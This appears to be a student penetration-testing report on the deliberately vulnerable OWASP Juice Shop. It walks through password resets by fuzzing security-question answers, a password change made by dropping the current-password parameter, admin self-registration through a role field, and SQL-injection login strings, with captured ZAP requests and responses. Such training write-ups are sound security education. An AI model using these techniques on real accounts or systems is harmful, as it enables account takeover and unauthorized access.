- a) **Description of penetration testing that was carried out.**



12. Logged in using admin email Id as shown in Admin Section or use= asd@asd.com, password = asd@123 to find the email of user Jim.
13. Or Under the Green Smoothie item, find Jim's id as “**jim@juice-sh.op**”
14. Next, we click on Login->Forget Password
15. Using the above Jim's email id, Security question answer as anything you want (I have entered Apoorva), new password = jim@123, repeat password = jim@123.
16. Click on change.
17. The request json object will be {“email”: “**jim@juice-sh.op**”, “answer”:”**Henry**”, “new”:”**jim@123**”, “repeat”:”**jim@123**”}.
18. 401 Unauthorized error is triggered which says, “**Wrong answer to security question**”.
19. We search for list of sibling names of James on google basically the idea is to try as many names as possible I almost gave 100-150 names.
20. Using these values we create a Fuzz attack payload by selecting security question value field.
21. One of the values i.e. “**Samuel**” gets 200 Ok response. This indicates Jim's eldest sibling name is Samuel.
22. In this way, Jim's password reset was successful by copying the authentication data for another user of the TOE.

b) Outcomes/Evidence of the Penetration Testing



The screenshot shows a Kali Linux desktop environment with several windows open:

- Browser Window:** The title bar says "OWASP Juice Shop". The address bar shows "https://127.0.0.1:3000/#/forgot-password". The page content is a "Forgot Password" form with an error message: "Wrong answer to security question." Fields include "Email *" (jim@juice-sh.op), "Security Question *", "New Password *", and "Repeat New Password *". A note says "Password must be 5-40 characters long." A "Change" button is at the bottom.
- ZAP 2.14.0 - Untitled Session - originalcoursework:** This is a NetworkMiner-style interface. The left sidebar shows "Contexts" and "Sites" with many URLs listed. The main pane displays a captured request and response. The request URL is "HTTP/1.1 401 Unauthorized". The response body contains the error message: "Wrong answer to security question." Below the main pane, there's a summary of network traffic with columns like ID, Source, Method, URL, Code, Reason, RTT, Size, Resp., Body, Highest Alert, Note, and Tags.



Screenshot of ZAP 2.14.0 showing a fuzzer session for a password reset endpoint.

Request Panel:

```
POST http://127.0.0.1:3000/rest/user/reset-password HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux arch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
X-User-Email: jim@juice-sh.op
Content-Type: application/json
Content-Length: 77
Origin: https://127.0.0.1:3000
Connection: keep-alive
{"email":"jim@juice-sh.op","answer":"jim","new":"jim@123","repeat":"jim@123"}
```

Fuzzer Results Table:

Task ID	Message Type	Code	Reason	RTT	Size Resp. Header	Size Resp. Body	Highest Alert	State	Payloads
0 Original		401	Unauthorized	27 ms	469 bytes	34 bytes	Medium		
2 Fuzzed		500	Internal Serv...	28 ms	445 bytes	1,910 bytes			
4 Fuzzed		500	Internal Serv...	37 ms	445 bytes	1,910 bytes			
6 Fuzzed		500	Internal Serv...	49 ms	445 bytes	1,910 bytes			
8 Fuzzed		500	Internal Serv...	61 ms	445 bytes	1,910 bytes			
10 Fuzzed		500	Internal Serv...	36 ms	445 bytes	1,910 bytes			

Alerts Panel:

- 2 Critical
- 11 High
- 15 Medium
- 13 Low

Main Proxy: 127.0.0.1:8081

Current Scans: 0

Screenshot of ZAP 2.14.0 showing a successful password reset attack on the OWASP Juice Shop application.

ZAP Session Overview:

- Header: Text
- Body: Text
- HTTP/1.1 200 OK
- Access-Control-Allow-Origin: *
- X-Content-Type-Options: nosniff
- X-Frame-Options: SAMEORIGIN
- Feature-Policy: payment 'self'
- X-Recruiting: /#jobs
- X-RateLimit-Limit: 100
- User object (highlighted in orange):


```
{"user":{"id":2,"username":"","email":"jim@juice-sh.op","password":"b4053c211ccf54037344990celc81dba","role":"customer","deluxeToken":"","lastLoginIp":"","profileImage":"assets/public/images/uploads/default.svg","totpSecret":"","isActive":true,"createdAt":"2024-04-23T22:04:39.067Z","updatedAt":"2024-04-25T12:20:39.670Z","deletedAt":null}}
```

Fuzzer Progress: 3: HTTP - http://127.0.0..reset-password

Task ID	Message Type	Code	Reason	RTT	Size Resp. Header	Size Resp. Body	Highest Alert	State	Payloads
60 Fuzzed		500	Internal Serv...	4 ms	445 bytes	1,910 bytes			Wyatt
53 Fuzzed		401	Unauthorized	142 ms	469 bytes	34 bytes			
62 Fuzzed		500	Internal Serv...	2 ms	445 bytes	1,910 bytes			
19 Fuzzed		200	OK	643 ms	468 bytes	340 bytes			Samuel
64 Fuzzed		500	Internal Serv...	7 ms	445 bytes	1,910 bytes			
43 Fuzzed		401	Unauthorized	305 ms	469 bytes	34 bytes			John

OWASP Juice Shop Application:



The browser shows the OWASP Juice Shop homepage with a success message: "You successfully solved a challenge: Reset Jim's Password (Reset Jim's password via the Forgot Password mechanism with the original answer to his security question.)".


Forgot Password Form:

Form fields shown:

- Email: jim@juice-sh.op
- Security Question *
- New Password *
- Repeat New Password *

Validation message: "Wrong answer to security question."





c) **Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:**

We found Jim's email under the Green Smoothie item or logged in with admin credentials to assess the target of evaluation's (TOE) security function requirement (SFR). Next, we tried resetting Jim's password using the "Forget Password" tool, trying out various responses to the security question. We found that "Samuel" answered the security question properly using a fuzz attack, allowing us to reset the password. This

demonstrates a flaw that allows unauthorized users to compromise access control by resetting the password by stealing authentication information from another user.

Reset Bender's Password

a) Description of penetration testing that was carried out.

1. Login to admin as shown in *admin section task* or make a user and give them admin rights. This step is done to find out Bender's email id. Admin will list all the existing users or in the home click on the products and see if Bender has written any review and take that id.
2. Now after getting his email id click on 'Forgot Password' we need to answer the security question which is what your first job was.
3. I went to score-board and took hint from there which said Futurama and I googled it and went to Wikipedia link and under occupation found his first job.
4. Went to that link in again in Suicide Booth. Under Futurama I found Stop-and-Drop.
5. I went to zap and create fuzz attack.
6. I made permutation and combination like Stop-n-Drop, Stop-and-Drop, stop-and-drop, stop-n-drop, Stop'n'Drop and stop'n'drop.
7. This gives 200 fuzz in response and solves our challenge.

b) Outcomes/Evidence of the Penetration Testing

The screenshot shows the OWASP Juice Shop application running on a Kali Linux system. The browser window displays the URL <https://127.0.0.1:3000/#/score-board>. The page lists several challenges:

- Shenanigans**: Good for Demos (Hint)
- Improper Input Validation**: **Poison Null Byte** (★★★★)
Bypass a security control with a **Poison Null Byte** to access a file not meant for your eyes.
Prerequisite: Out, Off
XSS: Server-side XSS Protection (★★★★)
Perform a persisted XSS attack with <iframe src="javascript:alert('xss')"> bypassing a server-side security mechanism. (This challenge is not available on Docker!)
- Danger Zone**: Hint
- Vulnerable Components**: **Vulnerable Library** (★★★★)
Inform the shop about a vulnerable library it is using. (Mention the exact library name and version in your comment)
OSINT: Hint
- Broken Authentication**: **Change Bender's Password** (★★★★★)
Reset Bender's password via the **Forgot Password** mechanism with the *original* answer to his security question.
Prerequisite: Out, Off
XSS: Server-side XSS Protection (★★★★)
Security through Obscurity: Steganography (★★★★)
Not as trivial as Jim's but still not too difficult with some "Futurama" background knowledge. Click for more hints.
- OSINT**: Hint
- Sensitive Data Exposure**: **Reset Uvogin's Password** (★★★★)
Reset Uvogin's password via the **Forgot Password** mechanism with the *original* answer to his security question.
Prerequisite: Sites, Start, Off
OSINT: Hint
- Security through Obscurity**: **Blockchain Hype** (★★★★★)
Learn about the Token Sale before its official announcement.
Contraption: Hint
- Insecure Deserialization**: **Blocked RCE DoS** (★★★★★)
Perform a Remote Code Execution that would keep a less hardened application busy forever. (This challenge is not available on Docker!)
Prerequisite: Off, 0, 8, 8, 5, +
Danger Zone: Hint
- Security Misconfiguration**: **Cross-Site Imaging** (★★★★★)
Sensitive Data: Email (Me want it!)

The bottom of the browser window shows the URL https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_reset_benders_password_via_the_forgot_password_mechanism.

The screenshot shows a Kali Linux desktop environment with several open windows. The top window is ZAP 2.14.0, displaying a 'Fuzz Locations' panel on the left and an 'Add Payload' dialog box in the center. The payload content is set to: {"email":""," or 1=1 --,"password":"Apoorva@1"}. The bottom window is a web browser showing the OWASP Juice Shop 'Forgot Password' page. The page has fields for Email, Security Question, New Password, and Repeat New Password. A note at the bottom states: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!". The browser's address bar shows the URL as https://127.0.0.1:3000/#/forgot-password.

Screenshot of a web browser showing multiple tabs. The active tab is "Bender (Futurama)" on Wikipedia. The address bar shows the URL [https://en.wikipedia.org/wiki/Bender_\(Futurama\)](https://en.wikipedia.org/wiki/Bender_(Futurama)). The page content is about Bender Rodriguez from the TV show Futurama.

Bender (*Futurama*)


From Wikipedia, the free encyclopedia

Character biography

Bender Bending Rodriguez (designated in-universe as **Bending Unit 22**, unit number **1,729**, serial number **2716057**^[1]) is one of the main characters in the animated television series *Futurama*. He was conceived by the series' creators Matt Groening and David X. Cohen, and is voiced by John DiMaggio. He fulfills a comic, antihero-type role in the show, and is described by fellow character Leela as an "alcoholic, whore-mongering, chain-smoking gambler".^[2]

According to the character's **backstory**, Bender was built in *Tijuana, Mexico* (the other characters refer to his "swarthy Latin charm"), his name a reference to **bending** in Mexican maquiladoras.

Bender is known for being prejudiced against non-robots. For example, one of his signature expressions is "kill all humans". Those who are not subject to Bender's prejudicial attitude are documented on his "Do Not Kill" list, which includes only his best friend **Philip J. Fry** and his colleague **Hermes Conrad** (added after the episode "*Lethal Inspection*").^[3] However, Bender is also occasionally portrayed as possessing a sympathetic side, suggesting that he is not as belligerent as he claims, a view often echoed by his friends.^{[4][5]}



Character biography

Bender possessed a baby-like body in "**Bending Love**", however, Bender is portrayed with a normal, adult-sized body in a flashback sequence conveying his memory of coming into existence. As Bender's memory chip contains an adult form, the episode's content suggests that the character might actually be recalling a transfer to an adult body, rather than the moment of creation.^[6]


Unlike most other robots, Bender is mortal and, according to **Professor Farnsworth's** calculations, may have less than one billion years to live. Because of a manufacturing error that left Bender without a **backup** unit, Bender's memory cannot be transferred or uploaded to another robot body. After reporting that defect to his manufacturer, Bender barely escapes death from a guided missile and a robot **death squad** dispatched by **Mom** in order to eliminate him and effectively take the defective product off the market.^[3]

At the factory, Bender was programmed for cold-bending **structural steel**. Bender later attended Bending State University, where he **majored** in bending and **minored** in Robo-American Studies. At the university, he was a member of Epsilon Rho Rho (ERR), a robot **fraternity**, where he became something of a fraternity hero for his many shenanigans: one night he chugged an entire keg of **beer**, **streaked** across campus, and **stuffed** 58 people into a **telephone booth** (although he concedes they were mostly children).^[3]

Before meeting **Fry** and **Leela** and joining Planet Express (where he currently works as the **assistant manager** of sales and as company chef),^[7] Bender had a job at the metalworking factory, bending steel **girders** for the construction of **suicide booths**.

Bender has an apartment (00100100, the ASCII code for the dollar sign "\$") in the "**Robot Arms Ante**" building, where he eventually invites his best friend and coworker

Species	Bending Industrial Robot
Gender	Male
Title	Bender the Offender The Gender Bender Super King
Occupation	Assistant Manager of Sales & Chef at Planet Express Suicide Booth construction worker (formerly) Pharaoh of Osiris IV (formerly) Superhero (formerly) General (formerly) Photographer Soldier (formerly)
Family	Mr. Rodriguez (father) Mrs. Rodriguez (mother) One unnamed older sibling



Following Archer's statement in 1893, the 1895 story "[The Repaire of Reputations](#)" by [Robert W. Chambers](#) featured the [Governor of New York](#) presiding over the opening of the first "Government Lethal Chamber" in the then-future year of 1920, after the repeal of laws against suicide:


"The Government has seen fit to acknowledge the right of man to end an existence which may have become intolerable to him, through physical suffering or mental despair." [...] He paused, and turned to the white Lethal Chamber. The silence in the street was absolute. "There a painless death awaits him who can no longer bear the sorrows of this life."^[21]

However, as Chambers's protagonist who relates the story is suffering from brain damage, it remains ambiguous whether or not he is an [unreliable narrator](#).

Futurama [edit]

In the world of *Futurama*, [Stop-and-Drop](#) suicide booths resemble [phone booths](#) and cost one [quarter](#) per use. The booths have at least three modes of death: "quick and painless", "slow and horrible",^[22] and "clumsy bludgeoning"^[23] though, it is also implied that "electrocution, with a side order of poison" exists,^[24] and that the eyes can be scooped out for an extra charge.^[23] After a mode of death is selected and executed, the machine cheerfully says, "You are now dead. Thank you for using Stop-and-Drop, America's favorite suicide booth since 2008", or in *Futurama: The Beast with a Billion Backs*, "You are now dead, please take your receipt", and at this time many untaken receipts are shown.^[25]

The first appearance of a suicide booth in *Futurama* is in "[Space Pilot 3000](#)", in which the character [Bender](#) wants to use it.^[22] [Fry](#) at first mistakes the suicide booth for a phone booth, and Bender offers to share it with him. Fry requests a [collect call](#), which the machine interprets as a "slow and horrible" death. It then turns out that "slow and horrible" can be survived by pressing oneself against the side of the booth, leading Bender to accuse the machine of being a [rip-off](#). In *Futurama: Bender's Big Score*, Bender uses the booth to commit suicide, but Fry saves him by pressing him against the side of the booth.



Screenshot of ZAP 2.14.0 showing the Attack context menu open over a selected POST request.

Attack Context Menu:

- Include in Context
- Run application
- Include Site in Context
- Open/Resend with Request Editor...
- Flag as Context
- Open URL in Browser
- Show in Sites Tab
- Open URL in System Browser
- Exclude from Context
- Exclude from
- Manage History Tags...
- Jump to History ID...
- Note...
- Delete (Ctrl+Alt+Delete)
- Break...
- New Alert...
- Alerts for This Node
- Generate Anti-CSRF Test FORM
- Invoke with Script...
- Add to Zest Script
- Compare 2 Requests
- Compare 2 Responses
- Include Channel URL in Context
- Exclude Channel URL from Context
- Open in Requester Tab... (Ctrl+W)
- Limit Request Rate
- Save Raw
- Save XML
- Save Selected Entries as HAR (HTTP Archive File)

Selected Request Headers:

```

POST http://127.0.0.1:3000/rest/1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
{"email":"bender@juice-sh.op","answer":"Company","new": "Apoorva@1","repeat":"Apoorva@1"}
    
```

Selected Request Body:

```

{"email":"bender@juice-sh.op","answer":"Company","new": "Apoorva@1","repeat":"Apoorva@1"}
    
```

Screenshot of ZAP 2.14.0 showing the Fuzzer dialog open over a selected POST request.

Fuzzer Dialog:

Fuzz Locations:

- Header: Text
- Body: Text
- Edit

Fuzz Locations List:

- ... ^ V... # ... # o... Add...
- Remove
- Payloads...
- Processors...

Selected Request Headers:

```

POST http://127.0.0.1:3000/rest/user/reset-password HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/
Content-Type: application/json
Content-Length: 88
Origin: https://127.0.0.1:3000
Connection: keep-alive
Cookie: language=en; welcomebanner_status=dismiss;
continueCode=vk9Z0Rlxoq12B3578VYd96hWt3fEBul3tqeimBfbpGrMEaPw6ybNenkL
zpj4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
    
```



Selected Request Body:



```

{"email":"bender@juice-sh.op","answer":"Company","new": "Apoorva@1","repeat":"Apoorva@1"}
    
```

Alerts Table:

ID	Source	Req. Timestamp	Method	URL	Code	Size	Type
19,...	Pr...	4/29/24, 6:08:55 PM	GET	http://127.0.0.1:3000/	200	1 ... 2 bytes	Information...
19,...	Pr...	4/29/24, 6:09:20 PM	POST	http://127.0.0.1:3000/	200	1 ... 2 bytes	Information...
19,...	Pr...	4/29/24, 6:09:38 PM	POST	http://127.0.0.1:3000/	401	3... 34 bytes	Medium
19,...	Pr...	4/29/24, 6:09:18 PM	GET	http://127.0.0.1:3000/	200	2... 1 bytes	Medium





Screenshot of ZAP 2.14.0 showing a fuzzer session against an endpoint at `http://127.0.0.1:3000/rest/user/reset-password`. The request payload is:

```
POST http://127.0.0.1:3000/rest/user/reset-password HTTP/1.1
Host: 127.0.0.1:3000
{"email":"bender@juice-sh.op","answer":"Company","new": "Apoorva@1","repeat":"Apoorva@1"}
```

The response header is:

```
HTTP/1.1 401 Unauthorized
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
```

The response body is:

```
Wrong answer to security question.
```

The fuzzer table shows the following results:

Task ID	Message Type	Code	Reason	RTT	Size Resp. Header	Size Resp. Body	Highest Alert	State	Payloads
0	Original	401	Unauthorized	32 ms	469 bytes	34 bytes	Medium		
1	Fuzzed	401	Unauthorized	230 ms	469 bytes	34 bytes			stop-and-drop
2	Fuzzed	401	Unauthorized	194 ms	469 bytes	34 bytes			Stop-and-Drop
3	Fuzzed	401	Unauthorized	226 ms	469 bytes	34 bytes			stop-n-drop
4	Fuzzed	401	Unauthorized	207 ms	469 bytes	34 bytes			Stop-n-Drop
5	Fuzzed	401	Unauthorized	224 ms	469 bytes	34 bytes			stop'n'drop
6	Fuzzed	200	OK	226 ms	468 bytes	352 bytes			Stop'n'Drop

Screenshot of a web browser showing the OWASP Juice Shop application at `https://127.0.0.1:3000/#/search`. A success message is displayed:

You successfully solved a challenge: Login Bender (Log in with Bender's user account.)

The page displays a list of products:

- Apple Juice (1000ml) - 1.99€ - Add to Basket
- Apple Pomace - 0.89€ - Add to Basket
- Banana Juice (1000ml) - 1.99€ - Add to Basket


A sidebar on the right shows various status icons and links. A tooltip on the right side of the page reads:

This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!

Buttons include "Me want it!" and "Me don't care!"

Screenshot of the OWASP Juice Shop application interface. The user is logged in as 'bender@juice-sh.op'. The sidebar shows various icons for system status and logs. The main content area displays a list of products: Apple Juice (1000ml) at 1.99€, Apple Pomace at 0.89€, and Banana Juice (1000ml) at 1.99€. Each product has an 'Add to Basket' button. A green banner at the top states: 'You successfully solved a challenge: Login Bender (Log in with Bender's user account.)'. A tooltip on the right side of the screen says: 'This website uses fruit cookies to ensure you get the juiciest tracking experience. Me want it!'. The URL in the browser is https://127.0.0.1:3000/#/search.

Screenshot of the OWASP Juice Shop application interface, identical to the one above but with a key difference in the tooltip. The tooltip now says: 'This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!'. All other elements, including the user account information, product list, and banner, remain the same. The URL in the browser is https://127.0.0.1:3000/#/search.



c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

In order to find Bender's email address, we first created a user with admin credentials or logged into the admin part of the Target of Evaluation (TOE). Then, we used "Forgot Password" feature and Bender's first employment security question. We found the right response by consulting Wikipedia and following the scoreboard's cues. After that, we used ZAP to conduct a fuzz attack and test different variations of "Stop-and-Drop." The Security Functional Requirement was compromised when the TOE responded with a 200 status code (SFR).

FMT_MSA.1.1

VC: Change Bender's Password

a) Description of penetration testing:

1. Go the Login page, then click on the “Forgot your Password?”.
2. Make any random current password and a new password.
3. I have entered current password as “asd” and new password as “qwerty@1”.
4. Click on change button, this triggers 401 Unauthorized error “Current password is not correct”.
5. In ZAP, Click on the GET request `http://127.0.0.1:3000/rest/user/change-password?current=admin&new=qwerty@1@123&repeat=qwerty@1`
6. Use Ctrl+W or simply Copy-paste the entire request header part in requester and remove the `current=admin` field.
7. Removing the current password field skips the matching of data from the user-database resulting in updating of password in user-database.
8. In this way, the Bender's Password can be changed without successfully authenticating the user.
9. For this scenario we can give slrumCl4assic.

b) Outcomes/Evidence of the Penetration Testing

The image displays two screenshots of the OWASP Juice Shop application, both captured in a Firefox browser window on a Kali Linux desktop environment.

Top Screenshot (All Products Page):

- The URL is <https://127.0.0.1:3000/#/search>.
- The page title is "All Products".
- Product cards are shown:
 - Apple Juice (1000ml) - Price: 1.99€, Add to Basket button.
 - Apple Pomace - Price: 0.89€, Add to Basket button.
 - Banana Juice (1000ml) - Price: 1.99€, Add to Basket button.
- A sidebar on the left shows navigation icons for Out, Off, 0, 1, 2, and +.
- A sidebar on the right shows navigation icons for Sites, Start, Off, 0, 8, 6, 5, and +.
- A banner at the bottom right says: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!" with a "Me want it!" button.

Bottom Screenshot (Score Board Page):

- The URL is <https://127.0.0.1:3000/#/score-board?searchQuery=bender&difficulties=5>.
- The page title is "Score Board".
- Filter buttons for various security categories are present, including All, XSS, Sensitive Data Exposure, Improper Input Validation, Broken Access Control, Unvalidated Redirects, Vulnerable Components, Broken Authentication, Security through Obscurity, Insecure Deserialization, Miscellaneous, Broken Anti Automation, Injection, Security Misconfiguration, Cryptographic Issues, and XXE.
- A message in the center states: "This is the new Score Board! If you notice any bugs or have any feedback, please let us know! Reach out via our community channels." with a link to "Switch to the legacy Score Board".
- A note below says: "16 challenges are unavailable on Docker due to security concerns or technical incompatibility!" with a link to "Hide disabled challenges".
- A challenge card for "Broken Authentication" titled "Change Bender's Password" is shown, rated ★★★★☆. A hint is available: "Change Bender's password into slurmClassic without using SQL Injection or Forgot Password." A "Hint" button is also present.
- A banner at the bottom right says: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!" with a "Me want it!" button.
- The bottom navigation bar includes History (61), WebSockets (64), and search options: Highlight All, Match Case, Match Diacritics, Whole Words, and Phrase not found.

You successfully solved a challenge: Login Bender (Log in with Bender's user account.)

You successfully solved a challenge: Error Handling (Provoke an error that is neither very gracefully nor consistently handled.)

Change Password

Current password is not correct.

Current Password *

New Password *

Repeat New Password *

This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!

Me want it!

The screenshot shows a 'Change Password' form with three fields: 'Current Password *' containing four dots, 'New Password *' with a note 'Password must be 5-40 characters long. 0/40', and 'Repeat New Password *'. Below the form is a message: 'This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!'. A green button 'Me want it!' is visible at the bottom right. The browser status bar shows 'History 129' and 'WebSockets 102'.

You successfully solved a challenge: Login Bender (Log in with Bender's user account.)

All Products

Image	Product Name	Description	Price
	Apple Juice (1000ml)	1.99¤	Add to Basket
	Apple Pomace	0.89¤	Add to Basket
	Banana Juice (1000ml)	1.99¤	Add to Basket

This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!

Me want it!

The screenshot shows a grid of three juice products: 'Apple Juice (1000ml)' (1.99¤), 'Apple Pomace' (0.89¤), and 'Banana Juice (1000ml)' (1.99¤). Each item has an 'Add to Basket' button. A message at the bottom says 'This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!'. A green button 'Me want it!' is at the bottom right. The browser status bar shows 'History 107' and 'WebSockets 72'.

You successfully solved a challenge: Login Bender (Log in with Bender's user account.)

All Products

- Apple Juice (1000ml) 1.99€ Add to Basket
- Apple Pomac 0.89€ Add to Basket
- Banana Juice (1000ml) 1.99€ Add to Basket

Account Your Basket 1 EN

Privacy Policy Orders & Payment Privacy & Security Logout

This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!

Me want it!

History 107 WebSockets 74

You successfully solved a challenge: Error Handling (Provoke an error that is neither very gracefully nor consistently handled.)

Login

Email * bender@juice-sh.op' or 1=1

Password * qwer

Forgot your password? Log in Remember me

or

G Log in with Google

This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!

Me want it!

History 117 WebSockets 92

Screenshot of ZAP 2.14.0 showing an intercept proxy session against the OWASP Juice Shop application.

Request:

```

GET
http://127.0.0.1:3000/rest/user/change-password?new=qwert1&repeat=qwert1 HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: https://127.0.0.1:3000/

```

Response:

```

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
{"user":{"id":3,"username":"","email":"bender@juice-sh.op","password":"1e00d4fadadccb901e2c09cc9d917e1","role":"customer","deluxeToken":"","lastLoginIp":null,"undefined","profileImage":null,"assets/public/images/uploads/default.svg","totpSecret":null,"isActive":true,"createdAt":"2024-04-21T17:04:43.868Z","updatedAt":"2024-04-21T17:41:42.148Z","deletedAt":null}}


```

Alerts:

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp. Body	Highest Alert	Note	Tags
1,736	Pr...	4/21/24, 6:23:26 PM	GET	http://127.0.0.1:3000/rest/basket/3	200	OK	2...	557 bytes	Medium	JSON		
1,737	Pr...	4/21/24, 6:23:26 PM	GET	http://127.0.0.1:3000/api/Quantities/	200	OK	1...	5,991 bytes	Medium	Informational		
1,738	Pr...	4/21/24, 6:24:16 PM	GET	http://127.0.0.1:3000/rest/user/change-pa...	401	Unautho...	8 ...	32 bytes	Medium			
1,739	M...	4/21/24, 6:37:18 PM	GET	http://127.0.0.1:3000/rest/user/change-pa...	401	Unautho...	1...	32 bytes	Medium			
1,740	M...	4/21/24, 6:37:49 PM	GET	http://127.0.0.1:3000/rest/user/change-pa...	200	OK	3...	352 bytes	Medium	JSON		
1,741	M...	4/21/24, 6:41:42 PM	GET	http://127.0.0.1:3000/rest/user/change-pa...	200	OK	2...	352 bytes	Medium	JSON		

OWASP Juice Shop Application:

The screenshot shows the OWASP Juice Shop login page. The user has entered "bender@juice-sh.op" in the Email field and "slrumCl4ssic" in the Password field. Below the fields are "Forgot your password?" and "Log in" buttons. There is also a "Remember me" checkbox and a "Log in with Google" button. A sidebar on the left contains various icons for navigation and tools. A sidebar on the right shows session statistics: 0 Out, 8 In, 6 Pw, 5 Pw, and 0 +. A message at the bottom right states: "This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!" with a "Me want it!" button.



c) Explanation of how the evidence included in (b) proves that FDP_ACC.1.1 is violated:

We used the login page and the "Forgot your Password?" option to test the Target of Evaluation (TOE). We created a new password and a random current password, which led to an invalid credential error (401 Unauthorized). We got the change-password endpoint using the OWASP ZAP tool, copied the request header, and deleted the current password parameter. We were able to alter Bender's password without requiring authentication. This vulnerability highlights a problem with the Security Functional Requirement (SFR) for user authentication in the TOE.

FMT_MSA.1.1 The TOE shall enforce the access control SFP(s), to restrict the ability to change, and delete the security attributes username and user password to admin users.

Related Vulnerability Challenges: -

1. Admin Registration
2. Change Bender's Password
3. Reset Bender's Password
4. Reset Bjoern's Password
5. Reset Jim's Password

VC: Admin Registration

a) Description of penetration testing:

1. There are few way we can do this task.

2. First, register as a new customer. Fill email:Apoorva@juice.com, password:Apoorva@1 set security answer: Avanish. Then click Register.
3. Now using the new email click on Login using above credentials. This triggers the api: api/Users / in ZAP.
4. Now in ZAP we can see the request body for this. Send this to requester.
5. When send through requester it gives error saying that Validation error, email must be unique.
6. In requester there are 2 ways:
 - i. So, we can remove the email field and send which solves the error.
 - ii. Or, use the field “role”: “Admin” or “isAdmin” : true.
7. One more way is to change the email as Apoorva.admin@juice.com
8. This will give the users admin rights and Admin Registration is done.

b) Outcomes (evidence) of the penetration testing in (a):

The screenshot shows a web browser window with the URL <https://127.0.0.1:3000/#/register>. The main content is a "User Registration" form. The "Email" field contains "apoorva@juice.com". The "Password" field is redacted. The "Repeat Password" field is also redacted. The "Security Question" dropdown is set to "Your eldest sibling's middle name?". Below it, a note says "This cannot be changed later!". The "Answer" field contains "Avanish". A validation message "Password must be 5-40 characters long" is displayed next to the password field. The browser's status bar shows "9/40". The browser interface includes a navigation bar with tabs like Kali Linux, Kali Tools, Kali Docs, etc., and a sidebar with various icons.

Screenshot of a Firefox browser window showing the OWASP Juice Shop login page at <https://127.0.0.1:3000/#/login>. The login form has 'Email' set to 'apoorva@juice.com' and 'Password' set to 'Apoorva01'. A tooltip on the right says: 'This website uses fruit cookies to ensure you get the juiciest tracking experience. But me wait!' with a 'Me want it!' button.

Below the browser is ZAP 2.14.0, showing a list of sites and a captured POST request to <http://127.0.0.1:3000/api/Users/> with JSON payload:

```
{
  "email": "apoorva@juice.com",
  "password": "Apoorva01",
  "passwordRepeat": "Apoorva01",
  "securityQuestion": {
    "id": 1,
    "question": "Your eldest siblings middle name?"
  },
  "createdAt": "2024-04-27T20:39:08.215Z",
  "updatedAt": "2024-04-27T20:39:08.215Z",
  "securityAnswer": "Avanish"
}
```

The ZAP interface also shows a table of captured requests and responses, with the last row selected.

Untitled Session - originalcoursework - ZAP 2.14.0

```
HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Location: /api/Users/22
Content-Type: application/json; charset=utf-8
{"status": "success", "data": {"username": "", "role": "customer", "deluxeToken": "", "lastLoginIp": "0.0.0.0", "profileImage": "/assets/public/images/uploads/default.svg", "isActive": true, "id": 22, "email": "apoorva@juice.com", "updatedAt": "2024-04-29T10:37:34.105Z", "createdAt": "2024-04-29T10:37:34.105Z", "deletedAt": null}}
```

ID	Source	Req. Timestamp	Method	URL	Code	Reason	RTT	Size	Resp.	Body	Highest Alert	Note	Tags
14....	→ Pr...	4/29/24, 11:29:30...	POST	http://127.0.0.1:3000/rest/user/login	500	Internal ...	4...	1,203	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	5...	11	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:29:30...	GET	http://127.0.0.1:3000/rest/user/whoami	200	OK	7...	11	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:32:44...	GET	http://127.0.0.1:3000/api/SecurityQuestions/	200	OK	3...	1,934	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/Users/	201	Created	4...	308	bytes	⚠️ Medium	JSON		
14....	→ Pr...	4/29/24, 11:37:34...	POST	http://127.0.0.1:3000/api/SecurityAnswers/	201	Created	2...	226	bytes	⚠️ Medium	JSON		

Untitled Session - originalcoursework - ZAP 2.14.0

```
POST http://127.0.0.1:3000/api/SecurityAnswers/ HTTP/1.1
host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (X11; Linux arch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
